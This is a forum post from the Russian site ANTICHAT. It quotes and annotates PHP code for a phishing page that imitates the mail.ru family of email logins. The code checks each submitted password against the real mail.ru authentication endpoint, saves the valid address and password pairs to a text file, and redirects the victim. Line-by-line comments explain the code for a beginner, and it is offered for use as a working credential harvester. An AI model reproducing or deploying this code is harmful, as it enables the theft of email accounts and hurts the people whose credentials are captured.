HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > ПРОГРАММИРОВАНИЕ > PHP
   
 
 
Опции темы Поиск в этой теме Опции просмотра

  #11  
Старый 15.12.2008, 01:03
ss88
Участник форума
Регистрация: 27.11.2008
Сообщений: 161
С нами: 9185589

Репутация: 128
По умолчанию

Цитата:
Сообщение от .:EnoT:.  
m0Hze
PHP код:
<?php

if(isset($_POST['submit'])){ // Если данные отправились

    
$mail $_POST['mail'];
    
$zone $_POST['zone'];
    
$pass $_POST['pass'];

//имена полей ввода на разных сайтах, бывает, отличаются - менять для каждого
    
$post 'Login='.$mail.'&Domain='.$zone.'&Password='.$pass;
//создание нового сеанса CURL, CURLOPT_URL='http://win.mail.ru/cgi-bin/auth'
    
$cl curl_init('http://win.mail.ru/cgi-bin/auth');
//не выводить результат, а возвращать
    
curl_setopt($clCURLOPT_RETURNTRANSFER1);
//просто заполняет поле User-Agent: заголовка
    
curl_setopt($clCURLOPT_USERAGENT'Opera/9.25 (Windows NT 5.1; U; ru)');
//просто установка заголовка Referer  
    
curl_setopt($clCURLOPT_REFERER'http://mail.ru/');
//включать заголовки в полученный ответ
    
curl_setopt($clCURLOPT_HEADER1);
//запрос методом POST
    
curl_setopt($clCURLOPT_POST1);
//установить отправляемые поля POST
    
curl_setopt($clCURLOPT_POSTFIELDS$post);
//выполнить запрос и сохранить результат в exec
    
$exec curl_exec($cl);
//освободить экземляр сеанса
    
curl_close($cl);

    if(
stripos($exec'Неверное имя пользователя или пароль')){

        echo 
'Неверные данные';

    }else{

        
/* Запись в файл */
        
$open fopen('result.txt''r+t');
        
fputs($open$mail.'@'.$zone.' : '.$pass."\r\n");
        
fclose($open);

        
/* Переадресация куда-то */
        
header('location: http://kuda-to.ru');
        die();
    }

}else{

    
?>
    <form action="" method="post">
        <input name="mail" type="text" /><br/>
        <select size="1" name="zone">
            <option value="mail.ru">mail.ru</option>
            <option value="bk.ru">bk.ru</option>
            <option value="inbox.ru">inbox.ru</option>
            <option value="list.ru">list.ru</option>
        </select><br/>
    <input name="pass" type="password" />
    <input type="submit" value="Войти" name="submit" />
    </form>

    <?php

}

?>
PHP код:
//отправить запрос к странице error.php, которая находится рядом с твоим основным скриптом и получить то, что она выводит
$errorPageText=file_get_contents('error.php'); 
Чувак, ты реально задалбываешь людей и даже спасибо не говоришь, откомментировал код Enot'a в "непонятном" тебе моменте...
И совершенно согласен с советом, данным тебе все тем же Енотом, почитай php.net, там все предельно ясно.... единственный бок, что там код за тебя не пишут...

Последний раз редактировалось ss88; 15.12.2008 в 01:09..
 
Ответить с цитированием
 



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[c/c++] Новичкам: задаем вопросы _Great_ С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby 5421 21.04.2026 07:37
Интернетчики задали российскому президенту очень странные вопросы podkashey Мировые новости. Обсуждения. 4 07.07.2006 16:53
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.

×

Создать сделку

Продавец: ник или ID

Название сделки:

Сумма USDT:

Срок сделки, дней:

Кто платит комиссию:

Условия сделки:

После создания сделки средства будут зарезервированы в холде до завершения сделки.

×

Мои сделки

Загрузка...
×

Сделка


Загрузка чата...
×

ESCROW ADMIN PANEL

Загрузка...
Загрузка...